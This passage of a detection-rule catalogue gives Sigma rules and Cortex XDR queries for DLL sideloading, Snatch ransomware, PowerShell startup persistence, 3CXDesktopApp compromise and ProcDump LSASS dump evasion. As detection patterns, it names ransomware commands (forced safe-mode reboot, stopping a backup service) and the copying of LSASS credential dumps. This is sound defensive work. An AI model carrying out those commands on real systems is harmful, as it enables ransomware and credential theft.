 ((actor_process_image_path in ("C:\Program Files (x86)\SMADAV\SmadavProtect32.exe", "C:\Program Files (x86)\SMADAV\SmadavProtect64.exe", "C:\Program Files\SMADAV\SmadavProtect32.exe", "C:\Program Files\SMADAV\SmadavProtect64.exe")) and 
 (action_module_path in ("C:\Program Files (x86)\SMADAV\*", "C:\Program Files\SMADAV\*"))))))
view Sigma YAML
title: Potential SmadHook.DLL Sideloading
id: 24b6cf51-6122-469e-861a-22974e9c1e5b
status: test
description: Detects potential DLL sideloading of "SmadHook.dll", a DLL used by SmadAV antivirus
references:
    - https://research.checkpoint.com/2023/malware-spotlight-camaro-dragons-tinynote-backdoor/
    - https://www.qurium.org/alerts/targeted-malware-against-crph/
author: X__Junior (Nextron Systems)
date: 2023-06-01
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.execution
    - attack.stealth
    - attack.t1574.001
logsource:
    category: image_load
    product: windows
detection:
    selection:
        ImageLoaded|endswith:
            - '\SmadHook32c.dll'
            - '\SmadHook64c.dll'
    filter_main_legit_path:
        Image:
            - 'C:\Program Files (x86)\SMADAV\SmadavProtect32.exe'
            - 'C:\Program Files (x86)\SMADAV\SmadavProtect64.exe'
            - 'C:\Program Files\SMADAV\SmadavProtect32.exe'
            - 'C:\Program Files\SMADAV\SmadavProtect64.exe'
        ImageLoaded|startswith:
            - 'C:\Program Files (x86)\SMADAV\'
            - 'C:\Program Files\SMADAV\'
    condition: selection and not 1 of filter_main_*
falsepositives:
    - Unlikely
level: high
Convert to SIEM query
high Strong High FP
Potential Snatch Ransomware Activity
Detects specific process characteristics of Snatch ransomware word document droppers
status stable author Florian Roth (Nextron Systems) ATT&CK technique id 5325945e-f1f0-406e-97b8-65104d393fff
cortex_xdr query
config case_sensitive = false | preset=xdr_process | filter (event_type = ENUM.PROCESS and 
 event_sub_type = ENUM.PROCESS_START) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 (action_process_image_command_line ~= "shutdown\s+/r /f /t 00" or 
 action_process_image_command_line ~= "net\s+stop SuperBackupMan"))
view Sigma YAML
title: Potential Snatch Ransomware Activity
id: 5325945e-f1f0-406e-97b8-65104d393fff
status: stable
description: Detects specific process characteristics of Snatch ransomware word document droppers
references:
    - https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/
author: Florian Roth (Nextron Systems)
date: 2020-08-26
modified: 2025-10-19
tags:
    - attack.execution
    - attack.t1204
    - detection.emerging-threats
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        - CommandLine|re: 'shutdown\s+/r /f /t 00' # Shutdown in safe mode immediately
        - CommandLine|re: 'net\s+stop SuperBackupMan'
    condition: selection
falsepositives:
    - Scripts that shutdown the system immediately and reboot them in safe mode are unlikely
level: high
Convert to SIEM query
high Strong High FP
Potential Startup Shortcut Persistence Via PowerShell.EXE
Detects PowerShell writing startup shortcuts. This procedure was highlighted in Red Canary Intel Insights Oct. 2021, "We frequently observe adversaries using PowerShell to write malicious .lnk files into the startup directory to establish persistence. Accordingly, this detection opportunity is likely to identify persistence mechanisms in multiple threats. In the context of Yellow Cockatoo, this persistence mechanism eventually launches the command-line script that leads to the installation of a malicious DLL"
status test author Christopher Peacock '@securepeacock', SCYTHE ATT&CK sub-technique id 92fa78e7-4d39-45f1-91a3-8b23f3f1088d
cortex_xdr query
config case_sensitive = false | preset=xdr_file | filter event_type = ENUM.FILE and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 ((actor_process_image_path in ("*\powershell.exe", "*\pwsh.exe")) and 
 action_file_name contains "\start menu\programs\startup\" and 
 action_file_name contains ".lnk"))
view Sigma YAML
title: Potential Startup Shortcut Persistence Via PowerShell.EXE
id: 92fa78e7-4d39-45f1-91a3-8b23f3f1088d
status: test
description: |
    Detects PowerShell writing startup shortcuts.
    This procedure was highlighted in Red Canary Intel Insights Oct. 2021, "We frequently observe adversaries using PowerShell to write malicious .lnk files into the startup directory to establish persistence.
    Accordingly, this detection opportunity is likely to identify persistence mechanisms in multiple threats.
    In the context of Yellow Cockatoo, this persistence mechanism eventually launches the command-line script that leads to the installation of a malicious DLL"
references:
    - https://redcanary.com/blog/intelligence-insights-october-2021/
    - https://github.com/redcanaryco/atomic-red-team/blob/36d49de4c8b00bf36054294b4a1fcbab3917d7c5/atomics/T1547.001/T1547.001.md#atomic-test-7---add-executable-shortcut-link-to-user-startup-folder
author: Christopher Peacock '@securepeacock', SCYTHE
date: 2021-10-24
modified: 2023-02-23
tags:
    - attack.privilege-escalation
    - attack.persistence
    - attack.t1547.001
logsource:
    product: windows
    category: file_event
detection:
    selection:
        Image|endswith:
            - '\powershell.exe'
            - '\pwsh.exe'
        TargetFilename|contains: '\start menu\programs\startup\'
        TargetFilename|endswith: '.lnk'
    condition: selection
falsepositives:
    - Depending on your environment accepted applications may leverage this at times. It is recommended to search for anomalies inidicative of malware.
level: high
Convert to SIEM query
high Moderate Medium FP
Potential Suspicious Child Process Of 3CXDesktopApp
Detects potential suspicious child processes of "3CXDesktopApp.exe". Which could be related to the 3CXDesktopApp supply chain compromise
status test author Nasreddine Bencherchali (Nextron Systems) ATT&CK technique id 63f3605b-979f-48c2-b7cc-7f90523fed88
cortex_xdr query
config case_sensitive = false | preset=xdr_process | filter (event_type = ENUM.PROCESS and 
 event_sub_type = ENUM.PROCESS_START) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 (actor_process_image_path contains "\3CXDesktopApp.exe" and 
 (action_process_image_path in ("*\cmd.exe", "*\cscript.exe", "*\mshta.exe", "*\powershell.exe", "*\pwsh.exe", "*\regsvr32.exe", "*\rundll32.exe", "*\wscript.exe"))))
view Sigma YAML
title: Potential Suspicious Child Process Of 3CXDesktopApp
id: 63f3605b-979f-48c2-b7cc-7f90523fed88
related:
    - id: 3c4b3bbf-36b4-470c-b6cf-f07e8b1c7e26 # Proxy C2
      type: similar
    - id: 76bc1601-9546-4b75-9419-06e0e8d10651 # Proxy GH
      type: similar
    - id: bd03a0dc-5d93-49eb-b2e8-2dfd268600f8 # DNS C2
      type: similar
    - id: 51eecf75-d069-43c7-9ea2-63f75499edd4 # net_connection C2
      type: similar
    - id: 93bbde78-dc86-4e73-9ffc-ff8a384ca89c # ProcCreation Exec
      type: similar
    - id: e7581747-1e44-4d4b-85a6-0db0b4a00f2a # ProcCreation Update
      type: similar
    - id: d0b65ad3-e945-435e-a7a9-438e62dd48e9 # ImageLoad
      type: similar
status: test
description: Detects potential suspicious child processes of "3CXDesktopApp.exe". Which could be related to the 3CXDesktopApp supply chain compromise
references:
    - https://www.reddit.com/r/crowdstrike/comments/125r3uu/20230329_situational_awareness_crowdstrike/
    - https://www.crowdstrike.com/blog/crowdstrike-detects-and-prevents-active-intrusion-campaign-targeting-3cxdesktopapp-customers/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2023-03-29
tags:
    - attack.command-and-control
    - attack.execution
    - attack.stealth
    - attack.t1218
    - detection.emerging-threats
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        ParentImage|endswith: '\3CXDesktopApp.exe'
        Image|endswith:
            - '\cmd.exe'
            - '\cscript.exe'
            - '\mshta.exe'
            - '\powershell.exe'
            - '\pwsh.exe'
            - '\regsvr32.exe'
            - '\rundll32.exe'
            - '\wscript.exe'
    condition: selection
falsepositives:
    - Unknown
level: high
Convert to SIEM query
high Strong Medium FP
Potential SysInternals ProcDump Evasion
Detects uses of the SysInternals ProcDump utility in which ProcDump or its output get renamed, or a dump file is moved or copied to a different name
status test author Florian Roth (Nextron Systems) ATT&CK sub-technique id 79b06761-465f-4f88-9ef2-150e24d3d737
cortex_xdr query
config case_sensitive = false | preset=xdr_process | filter (event_type = ENUM.PROCESS and 
 event_sub_type = ENUM.PROCESS_START) and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 ((action_process_image_command_line in ("*copy procdump*", "*move procdump*")) or 
 ((action_process_image_command_line contains "copy " and 
 action_process_image_command_line contains ".dmp ") and 
 (action_process_image_command_line in ("*2.dmp*", "*lsass*", "*out.dmp*"))) or 
 (action_process_image_command_line in ("*copy lsass.exe_*", "*move lsass.exe_*"))))
view Sigma YAML
title: Potential SysInternals ProcDump Evasion
id: 79b06761-465f-4f88-9ef2-150e24d3d737
status: test
description: Detects uses of the SysInternals ProcDump utility in which ProcDump or its output get renamed, or a dump file is moved or copied to a different name
references:
    - https://twitter.com/mrd0x/status/1480785527901204481
author: Florian Roth (Nextron Systems)
date: 2022-01-11
modified: 2023-05-09
tags:
    - attack.stealth
    - attack.t1036
    - attack.t1003.001
    - attack.credential-access
logsource:
    category: process_creation
    product: windows
detection:
    selection_1:
        CommandLine|contains:
            - 'copy procdump'
            - 'move procdump'
    selection_2:
        CommandLine|contains|all:
            - 'copy '
            - '.dmp '
        CommandLine|contains:
            - '2.dmp'
            - 'lsass'
            - 'out.dmp'
    selection_3:
        CommandLine|contains:
            - 'copy lsass.exe_'  # procdump default pattern e.g. lsass.exe_220111_085234.dmp
            - 'move lsass.exe_'  # procdump default pattern e.g. lsass.exe_220111_085234.dmp
    condition: 1 of selection_*
falsepositives:
    - False positives are expected in cases in which ProcDump just gets copied to a different directory without any renaming
level: high
Convert to SIEM query
high Strong Medium FP
Potential System DLL Sideloading From Non System Locations
Detects DLL sideloading of DLLs usually located in system locations (System32, SysWOW64, etc.).
status test author Nasreddine Bencherchali (Nextron Systems) ATT&CK sub-technique id 4fc0deee-0057-4998-ab31-d24e46e0aba4
cortex_xdr query
config case_sensitive = false | preset=xdr_image_load | filter event_type = ENUM.LOAD_IMAGE and 
 (agent_os_type = ENUM.AGENT_OS_WINDOWS and 
 ((action_module_path in ("*\aclui.dll", "*\activeds.dll", "*\adsldpc.dll", "*\aepic.dll", "*\apphelp.dll", "*\applicationframe.dll", "*\appvpolicy.dll", "*\appxalluserstore.dll", "*\appxdeploymentclient.dll", "*\archiveint.dll", "*\atl.dll", "*\audioses.dll", "*\auditpolcore.dll", "*\authfwcfg.dll", "*\authz.dll", "*\avrt.dll", "*\batmeter.dll", "*\bcd.dll", "*\bcp47langs.dll", "*\bcp47mrm.dll", "*\bcrypt.dll", "*\bderepair.dll", "*\bootmenuux.dll", "*\bootux.dll", "*\cabinet.dll", "*\cabview.dll", "*\certcli.dll", "*\certenroll.dll", "*\cfgmgr32.dll", "*\cldapi.dll", "*\clipc.dll", "*\clusapi.dll", "*\cmpbk32.dll", "*\cmutil.dll", "*\coloradapterclient.dll", "*\colorui.dll", "*\comdlg32.dll", "*\configmanager2.dll", "*\connect.dll", "*\coredplus.dll", "*\coremessaging.dll", "*\coreuicomponents.dll", "*\credui.dll", "*\cryptbase.dll", "*\cryptdll.dll", "*\cryptsp.dll", "*\cryptui.dll", "*\cryptxml.dll", "*\cscapi.dll", "*\cscobj.dll", "*\cscui.dll", "*\d2d1.dll", "*\d3d10_1.dll", "*\d3d10_1core.dll", "*\d3d10.dll", "*\d3d10core.dll", "*\d3d10warp.dll", "*\d3d11.dll", "*\d3d12.dll", "*\d3d9.dll", "*\d3dx9_43.dll", "*\dataexchange.dll", "*\davclnt.dll", "*\dcntel.dll", "*\dcomp.dll", "*\defragproxy.dll", "*\desktopshellext.dll", "*\deviceassociation.dll", "*\devicecredential.dll", "*\devicepairing.dll", "*\devobj.dll", "*\devrtl.dll", "*\dhcpcmonitor.dll", "*\dhcpcsvc.dll", "*\dhcpcsvc6.dll", "*\directmanipulation.dll", "*\dismapi.dll", "*\dismcore.dll", "*\dmcfgutils.dll", "*\dmcmnutils.dll", "*\dmcommandlineutils.dll", "*\dmenrollengine.dll", "*\dmenterprisediagnostics.dll", "*\dmiso8601utils.dll", "*\dmoleaututils.dll", "*\dmprocessxmlfiltered.dll", "*\dmpushproxy.dll", "*\dmxmlhelputils.dll", "*\dnsapi.dll", "*\dot3api.dll", "*\dot3cfg.dll", "*\dpx.dll", "*\drprov.dll", "*\drvstore.dll", "*\dsclient.dll", "*\dsparse.dll", "*\dsprop.dll", "*\dsreg.dll", "*\dsrole.dll", "*\dui70.dll", "*\duser.dll", "*\dusmapi.dll", "*\dwmapi.dll", "*\dwmcore.dll", "*\dwrite.dll", "*\dxcore.dll", "*\dxgi.dll", "*\dxva2.dll", "*\dynamoapi.dll", "*\eappcfg.dll", "*\eappprxy.dll", "*\edgeiso.dll", "*\edputil.dll", "*\efsadu.dll", "*\efsutil.dll", "*\esent.dll", "*\execmodelproxy.dll", "*\explorerframe.dll", "*\fastprox.dll", "*\faultrep.dll", "*\fddevquery.dll", "*\feclient.dll", "*\fhcfg.dll", "*\fhsvcctl.dll", "*\firewallapi.dll", "*\flightsettings.dll", "*\fltlib.dll", "*\framedynos.dll", "*\fveapi.dll", "*\fveskybackup.dll", "*\fvewiz.dll", "*\fwbase.dll", "*\fwcfg.dll", "*\fwpolicyiomgr.dll", "*\fwpuclnt.dll", "*\fxsapi.dll", "*\fxsst.dll", "*\fxstiff.dll", "*\getuname.dll", "*\gpapi.dll", "*\hid.dll", "*\hnetmon.dll", "*\httpapi.dll", "*\icmp.dll", "*\idstore.dll", "*\ieadvpack.dll", "*\iedkcs32.dll", "*\iernonce.dll", "*\iertutil.dll", "*\ifmon.dll", "*\ifsutil.dll", "*\inproclogger.dll", "*\iphlpapi.dll", "*\iri.dll", "*\iscsidsc.dll", "*\iscsium.dll", "*\isv.exe_rsaenh.dll", "*\iumbase.dll", "*\iumsdk.dll", "*\joinutil.dll", "*\kdstub.dll", "*\ksuser.dll", "*\ktmw32.dll", "*\licensemanagerapi.dll", "*\licensingdiagspp.dll", "*\linkinfo.dll", "*\loadperf.dll", "*\lockhostingframework.dll", "*\logoncli.dll", "*\logoncontroller.dll", "*\lpksetupproxyserv.dll", "*\lrwizdll.dll", "*\magnification.dll", "*\maintenanceui.dll", "*\mapistub.dll", "*\mbaexmlparser.dll", "*\mdmdiagnostics.dll", "*\mfc42u.dll", "*\mfcore.dll", "*\mfplat.dll", "*\mi.dll", "*\midimap.dll", "*\mintdh.dll", "*\miutils.dll", "*\mlang.dll", "*\mmdevapi.dll", "*\mobilenetworking.dll", "*\mpr.dll", "*\mprapi.dll", "*\mrmcorer.dll", "*\msacm32.dll", "*\mscms.dll", "*\mscoree.dll", "*\msctf.dll", "*\msctfmonitor.dll", "*\msdrm.dll", "*\msdtctm.dll", "*\msftedit.dll", "*\msi.dll", "*\msiso.dll", "*\msutb.dll", "*\msvcp110_win.dll", "*\mswb7.dll", "*\mswsock.dll", "*\msxml3.dll", "*\mtxclu.dll", "*\napinsp.dll", "*\ncrypt.dll", "*\ndfapi.dll", "*\netapi32.dll", "*\netid.dll", "*\netiohlp.dll", "*\netjoin.dll", "*\netplwiz.dll", "*\netprofm.dll", "*\netprovfw.dll", "*\netsetupapi.dll", "*\netshell.dll", "*\nettrace.dll", "*\netutils.dll", "*\networkexplorer.dll", "*\newdev.dll", "*\ninput.dll", "*\nlaapi.dll", "*\nlansp_c.dll", "*\npmproxy.dll", "*\nshhttp.dll", "*\nshipsec.dll", "*\nshwfp.dll", "*\ntdsapi.dll", "*\ntlanman.dll", "*\ntlmshared.dll", "*\ntmarta.dll", "*\ntshrui.dll", "*\oleacc.dll", "*\omadmapi.dll", "*\onex.dll", "*\opcservices.dll", "*\osbaseln.dll", "*\osksupport.dll", "*\osuninst.dll", "*\p2p.dll", "*\p2pnetsh.dll", "*\p9np.dll", "*\pcaui.dll", "*\pdh.dll", "*\peerdistsh.dll", "*\pkeyhelper.dll", "*\pla.dll", "*\playsndsrv.dll", "*\pnrpnsp.dll", "*\policymanager.dll", "*\polstore.dll", "*\powrprof.dll", "*\printui.dll", "*\prntvpt.dll", "*\profapi.dll", "*\propsys.dll", "*\proximitycommon.dll", "*\proximityservicepal.dll", "*\prvdmofcomp.dll", "*\puiapi.dll", "*\radcui.dll", "*\rasapi32.dll", "*\rasdlg.dll", "*\rasgcw.dll", "*\rasman.dll", "*\rasmontr.dll", "*\reagent.dll", "*\regapi.dll", "*\reseteng.dll", "*\resetengine.dll", "*\resutils.dll", "*\rmclient.dll", "*\rpcnsh.dll", "*\rsaenh.dll", "*\rtutils.dll", "*\rtworkq.dll", "*\samcli.dll", "*\samlib.dll", "*\sapi_onecore.dll", "*\sas.dll", "*\scansetting.dll", "*\scecli.dll", "*\schedcli.dll", "*\secur32.dll", "*\security.dll", "*\sensapi.dll", "*\shell32.dll", "*\shfolder.dll", "*\slc.dll", "*\snmpapi.dll", "*\spectrumsyncclient.dll", "*\spp.dll", "*\sppc.dll", "*\sppcext.dll", "*\srclient.dll", "*\srcore.dll", "*\srmtrace.dll", "*\srpapi.dll", "*\srvcli.dll", "*\ssp_isv.exe_rsaenh.dll", "*\ssp.exe_rsaenh.dll", "*\sspicli.dll", "*\ssshim.dll", "*\staterepository.core.dll", "*\structuredquery.dll", "*\sxshared.dll", "*\systemsettingsthresholdadminflowui.dll", "*\tapi32.dll", "*\tbs.dll", "*\tdh.dll", "*\textshaping.dll", "*\timesync.dll", "*\tpmcoreprovisioning.dll", "*\tquery.dll", "*\tsworkspace.dll", "*\ttdrecord.dll", "*\twext.dll", "*\twinapi.dll", "*\twinui.appcore.dll", "*\uianimation.dll", "*\uiautomationcore.dll", "*\uireng.dll", "*\uiribbon.dll", "*\umpdc.dll", "*\unattend.dll", "*\updatepolicy.dll", "*\upshared.dll", "*\urlmon.dll", "*\userenv.dll", "*\utildll.dll", "*\uxinit.dll", "*\uxtheme.dll", "*\vaultcli.dll", "*\vdsutil.dll", "*\version.dll", "*\virtdisk.dll", "*\vssapi.dll", "*\vsstrace.dll", "*\wbemprox.dll", "*\wbemsvc.dll", "*\wcmapi.dll", "*\wcnnetsh.dll", "*\wdi.dll", "*\wdscore.dll", "*\webservices.dll", "*\wecapi.dll", "*\wer.dll", "*\wevtapi.dll", "*\whhelper.dll", "*\wimgapi.dll", "*\winbio.dll", "*\winbrand.dll", "*\windows.storage.dll", "*\windows.storage.search.dll", "*\windows.ui.immersive.dll", "*\windowscodecs.dll", "*\windowscodecsext.dll", "*\windowsudk.shellcommon.dll", "*\winhttp.dll", "*\wininet.dll", "*\winipsec.dll", "*\winmde.dll", "*\winmm.dll", "*\winnsi.dll", "*\winrnr.dll", "*\winscard.dll", "*\winsqlite3.dll", "*\winsta.dll", "*\winsync.dll", "*\wkscli.dll", "*\wlanapi.dll", "*\wlancfg.dll", "*\wldp.dll", "*\wlidprov.dll", "*\wmiclnt.dll", "*\wmidcom.dll", "*\wmiutils.dll", "*\wmpdui.dll", "*\wmsgapi.dll", "*\wofutil.dll", "*\wpdshext.dll", "*\wscapi.dll", "*\wsdapi.dll", "*\wshbth.dll", "*\wshelper.dll", "*\wsmsvc.dll", "*\wtsapi32.dll", "*\wwancfg.dll", "*\wwapi.dll", "*\xmllite.dll", "*\xolehlp.dll", "*\xpsservices.dll", "*\xwizards.dll", "*\xwtpw32.dll", "*\amsi.dll", "*\appraiser.dll", "*\COMRES.DLL", "*\cryptnet.dll", "*\DispBroker.dll", "*\dsound.dll", "*\dxilconv.dll", "*\FxsCompose.dll", "*\FXSRESM.DLL", "*\msdtcVSp1res.dll", "*\PrintIsolationProxy.dll", "*\rdpendp.dll", "*\rpchttp.dll", "*\storageusage.dll", "*\utcutil.dll", "*\WfsR.dll", "*\igd10iumd64.dll", "*\igd12umd64.dll", "*\igdumdim64.dll", "*\igdusc64.dll", "*\TSMSISrv.dll", "*\TSVIPSrv.dll", "*\wbemcomn.dll", "*\WLBSCTRL.dll", "*\wow64log.dll", "*\WptsExtensions.dll")) and 
 (not 
 ((action_module_path in ("*C:\$WINDOWS.~BT\*", "*C:\$WinREAgent\*", "*C:\Windows\SoftwareDistribution\*", "*C:\Windows\System32\*", "*C:\Windows\SystemTemp\*", "*C:\Windows\SysWOW64\*", "*C:\Windows\WinSxS\*", "*C:\Windows\SyChpe32\*")) or 
 (action_module_path contains "C:\Windows\Temp\" and 
 (actor_process_image_path in ("C:\Windows\WinSxS\arm64*", "C:\Windows\UUS\arm64\*")) and 
 (actor_process_image_path in ("*\TiWorker.exe", "*\wuaucltcore.exe"))) or 
 (action_module_path contains "C:\Windows\Microsoft.NET\" and 
 action_module_path contains "\cscui.dll") or 
 (action_module_path contains "C:\ProgramData\Microsoft\Windows Defender\Platform\" and 
 action_module_path contains "\version.dll") or 
 (action_module_path contains "C:\Program Files\WindowsApps\Microsoft.DirectXRuntime_" and 
 action_module_path contains "\d3dx9_43.dll"))) and 
 (not 
 ((action_module_path contains "C:\Program Files\Microsoft\Exchange Server\" and 
 action_module_path contains "\mswb7.dll") or 
 (action_module_path contains "C:\Program Files\Arsenal-Image-Mounter-" and 
 (action_module_path in ("*\mi.dll", "*\miutils.dl"))) or 
 (actor_process_image_path = "C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exe" and 
 action_module_path = "C:\Program Files\Common Files\microsoft shared\ClickToRun\AppVPolicy.dll") or 
 action_module_path contains "C:\Packages\Plugins\Microsoft.GuestConfiguration.ConfigurationforWindows\" or 
 ((actor_process_image_path in ("*C:\Program Files\WindowsApps\DellInc.DellSupportAssistforPCs*", "*C:\Windows\System32\backgroundTaskHost.exe*")) and 
 action_module_path contains "C:\Program Files\WindowsApps\DellInc.DellSupportAssistforPCs") or 
 (actor_process_image_path contains "C:\Program Files\WindowsApps\DellInc.DellSupportAssistforPCs" and 
 actor_process_image_path contains "\wldp.dll") or 
 ((actor_process_image_path in ("C:\Program Files\CheckPoint\*", "C:\Program Files (x86)\CheckPoint\*")) and 
 actor_process_image_path contains "\SmartConsole.exe" and 
 (action_module_path in ("C:\Program Files\CheckPoint\*", "C:\Program Files (x86)\CheckPoint\*")) and 
 action_module_path contains "\PolicyManager.dll")))))
view Sigma YAML
title: Potential System DLL Sideloading From Non System Locations
id: 4fc0deee-0057-4998-ab31-d24e46e0aba4
status: test
description: Detects DLL sideloading of DLLs usually located in system locations (System32, SysWOW64, etc.).
references:
    - https://hijacklibs.net/ # For list of DLLs that could be sideloaded (search for dlls mentioned here in there). Wietze Beukema (project and research)
    - https://blog.cyble.com/2022/07/21/qakbot-resurfaces-with-new-playbook/ # WindowsCodecs.dll
    - https://blog.cyble.com/2022/07/27/targeted-attacks-being-carried-out-via-dll-sideloading/ # iphlpapi.dll
    - https://github.com/XForceIR/SideLoadHunter/blob/cc7ef2e5d8908279b0c4cee4e8b6f85f7b8eed52/SideLoads/README.md # XForceIR (SideLoadHunter Project), Chris Spehn (research WFH Dridex)
    - https://www.hexacorn.com/blog/2023/12/26/1-little-known-secret-of-runonce-exe-32-bit/
author: Nasreddine Bencherchali (Nextron Systems)
date: 2022-08-14
modified: 2025-12-03
tags:
    - attack.persistence
    - attack.privilege-escalation
    - attack.execution
    - attack.stealth
    - attack.t1574.001
logsource:
    category: image_load
    product: windows
detection:
    selection:
        ImageLoaded|endswith:
            - '\aclui.dll'
            - '\activeds.dll'
            - '\adsldpc.dll'
            - '\aepic.dll'
            - '\apphelp.dll'
            - '\applicationframe.dll'
            - '\appvpolicy.dll'
            - '\appxalluserstore.dll'
            - '\appxdeploymentclient.dll'
            - '\archiveint.dll'
            - '\atl.dll'
            - '\audioses.dll'
            - '\auditpolcore.dll'
            - '\authfwcfg.dll'
            - '\authz.dll'
            - '\avrt.dll'
            - '\batmeter.dll'
            - '\bcd.dll'
            - '\bcp47langs.dll'
            - '\bcp47mrm.dll'
            - '\bcrypt.dll'
            - '\bderepair.dll'
            - '\bootmenuux.dll'
            - '\bootux.dll'
            - '\cabinet.dll'
            - '\cabview.dll'
            - '\certcli.dll'
            - '\certenroll.dll'
            - '\cfgmgr32.dll'
            - '\cldapi.dll'
            - '\clipc.dll'
            - '\clusapi.dll'
            - '\cmpbk32.dll'
            - '\cmutil.dll'
            - '\coloradapterclient.dll'
            - '\colorui.dll'
            - '\comdlg32.dll'
            - '\configmanager2.dll'
            - '\connect.dll'
            - '\coredplus.dll'
            - '\coremessaging.dll'
            - '\coreuicomponents.dll'
            - '\credui.dll'
            - '\cryptbase.dll'
            - '\cryptdll.dll'
            - '\cryptsp.dll'
            - '\cryptui.dll'
            - '\cryptxml.dll'
            - '\cscapi.dll'
            - '\cscobj.dll'
            - '\cscui.dll'
            - '\d2d1.dll'
            - '\d3d10_1.dll'
            - '\d3d10_1core.dll'
            - '\d3d10.dll'
            - '\d3d10core.dll'
            - '\d3d10warp.dll'
            - '\d3d11.dll'
            - '\d3d12.dll'
            - '\d3d9.dll'
            - '\d3dx9_43.dll'
            - '\dataexchange.dll'
            - '\davclnt.dll'
            - '\dcntel.dll'
            - '\dcomp.dll'
            - '\defragproxy.dll'
            - '\desktopshellext.dll'
            - '\deviceassociation.dll'
            - '\devicecredential.dll'
            - '\devicepairing.dll'
            - '\devobj.dll'
            - '\devrtl.dll'
            - '\dhcpcmonitor.dll'
            - '\dhcpcsvc.dll'
            - '\dhcpcsvc6.dll'
            - '\directmanipulation.dll'
            - '\dismapi.dll'
            - '\dismcore.dll'
            - '\dmcfgutils.dll'
            - '\dmcmnutils.dll'
            - '\dmcommandlineutils.dll'
            - '\dmenrollengine.dll'
            - '\dmenterprisediagnostics.dll'
            - '\dmiso8601utils.dll'
            - '\dmoleaututils.dll'
            - '\dmprocessxmlfiltered.dll'
            - '\dmpushproxy.dll'
            - '\dmxmlhelputils.dll'
            - '\dnsapi.dll'
            - '\dot3api.dll'
            - '\dot3cfg.dll'
            - '\dpx.dll'
            - '\drprov.dll'
            - '\drvstore.dll'
            - '\dsclient.dll'
            - '\dsparse.dll'
            - '\dsprop.dll'
            - '\dsreg.dll'
            - '\dsrole.dll'
            - '\dui70.dll'
            - '\duser.dll'
            - '\dusmapi.dll'
            - '\dwmapi.dll'
            - '\dwmcore.dll'
            - '\dwrite.dll'
            - '\dxcore.dll'
            - '\dxgi.dll'
            - '\dxva2.dll'
            - '\dynamoapi.dll'
            - '\eappcfg.dll'
            - '\eappprxy.dll'
            - '\edgeiso.dll'
            - '\edputil.dll'
            - '\efsadu.dll'
            - '\efsutil.dll'
            - '\esent.dll'
            - '\execmodelproxy.dll'
            - '\explorerframe.dll'
            - '\fastprox.dll'
            - '\faultrep.dll'
            - '\fddevquery.dll'
            - '\feclient.dll'
            - '\fhcfg.dll'
            - '\fhsvcctl.dll'
            - '\firewallapi.dll'
            - '\flightsettings.dll'
            - '\fltlib.dll'
            - '\framedynos.dll'
            - '\fveapi.dll'
            - '\fveskybackup.dll'
            - '\fvewiz.dll'
            - '\fwbase.dll'
            - '\fwcfg.dll'
            - '\fwpolicyiomgr.dll'
            - '\fwpuclnt.dll'
            - '\fxsapi.dll'
            - '\fxsst.dll'
            - '\fxstiff.dll'
            - '\getuname.dll'
            - '\gpapi.dll'
            - '\hid.dll'
            - '\hnetmon.dll'
            - '\httpapi.dll'
            - '\icmp.dll'
            - '\idstore.dll'
            - '\ieadvpack.dll'
            - '\iedkcs32.dll'
            - '\iernonce.dll'
            - '\iertutil.dll'
            - '\ifmon.dll'
            - '\ifsutil.dll'
            - '\inproclogger.dll'
            - '\iphlpapi.dll'
            - '\iri.dll'
            - '\iscsidsc.dll'
            - '\iscsium.dll'
            - '\isv.exe_rsaenh.dll'
            - '\iumbase.dll'
            - '\iumsdk.dll'
            - '\joinutil.dll'
            - '\kdstub.dll'
            - '\ksuser.dll'
            - '\ktmw32.dll'
            - '\licensemanagerapi.dll'
            - '\licensingdiagspp.dll'
            - '\linkinfo.dll'
            - '\loadperf.dll'
            - '\lockhostingframework.dll'
            - '\logoncli.dll'
            - '\logoncontroller.dll'
            - '\lpksetupproxyserv.dll'
            - '\lrwizdll.dll'
            - '\magnification.dll'
            - '\maintenanceui.dll'
            - '\mapistub.dll'
            - '\mbaexmlparser.dll'
            - '\mdmdiagnostics.dll'
            - '\mfc42u.dll'
            - '\mfcore.dll'
            - '\mfplat.dll'
            - '\mi.dll'
            - '\midimap.dll'
            - '\mintdh.dll'
            - '\miutils.dll'
            - '\mlang.dll'
            - '\mmdevapi.dll'
            - '\mobilenetworking.dll'
            - '\mpr.dll'
            - '\mprapi.dll'
            - '\mrmcorer.dll'
            - '\msacm32.dll'
            - '\mscms.dll'
            - '\mscoree.dll'
            - '\msctf.dll'
            - '\msctfmonitor.dll'
            - '\msdrm.dll'
            - '\msdtctm.dll'
            - '\msftedit.dll'
            - '\msi.dll'
            - '\msiso.dll'
            - '\msutb.dll'
            - '\msvcp110_win.dll'
            - '\mswb7.dll'
            - '\mswsock.dll'
            - '\msxml3.dll'
            - '\mtxclu.dll'
            - '\napinsp.dll'
            - '\ncrypt.dll'
            - '\ndfapi.dll'
            - '\netapi32.dll'
            - '\netid.dll'
            - '\netiohlp.dll'
            - '\netjoin.dll'
            - '\netplwiz.dll'
            - '\netprofm.dll'
            - '\netprovfw.dll'
            - '\netsetupapi.dll'
            - '\netshell.dll'
            - '\nettrace.dll'
            - '\netutils.dll'
            - '\networkexplorer.dll'
            - '\newdev.dll'
            - '\ninput.dll'
            - '\nlaapi.dll'
            - '\nlansp_c.dll'
            - '\npmproxy.dll'
            - '\nshhttp.dll'
            - '\nshipsec.dll'
            - '\nshwfp.dll'
            - '\ntdsapi.dll'
            - '\ntlanman.dll'
            - '\ntlmshared.dll'
            - '\ntmarta.dll'
            - '\ntshrui.dll'
            - '\oleacc.dll'
            - '\omadmapi.dll'
            - '\onex.dll'
            - '\opcservices.dll'
            - '\osbaseln.dll'
            - '\osksupport.dll'
            - '\osuninst.dll'
            - '\p2p.dll'
            - '\p2pnetsh.dll'
            - '\p9np.dll'
            - '\pcaui.dll'
            - '\pdh.dll'
            - '\peerdistsh.dll'
            - '\pkeyhelper.dll'
            - '\pla.dll'
            - '\playsndsrv.dll'
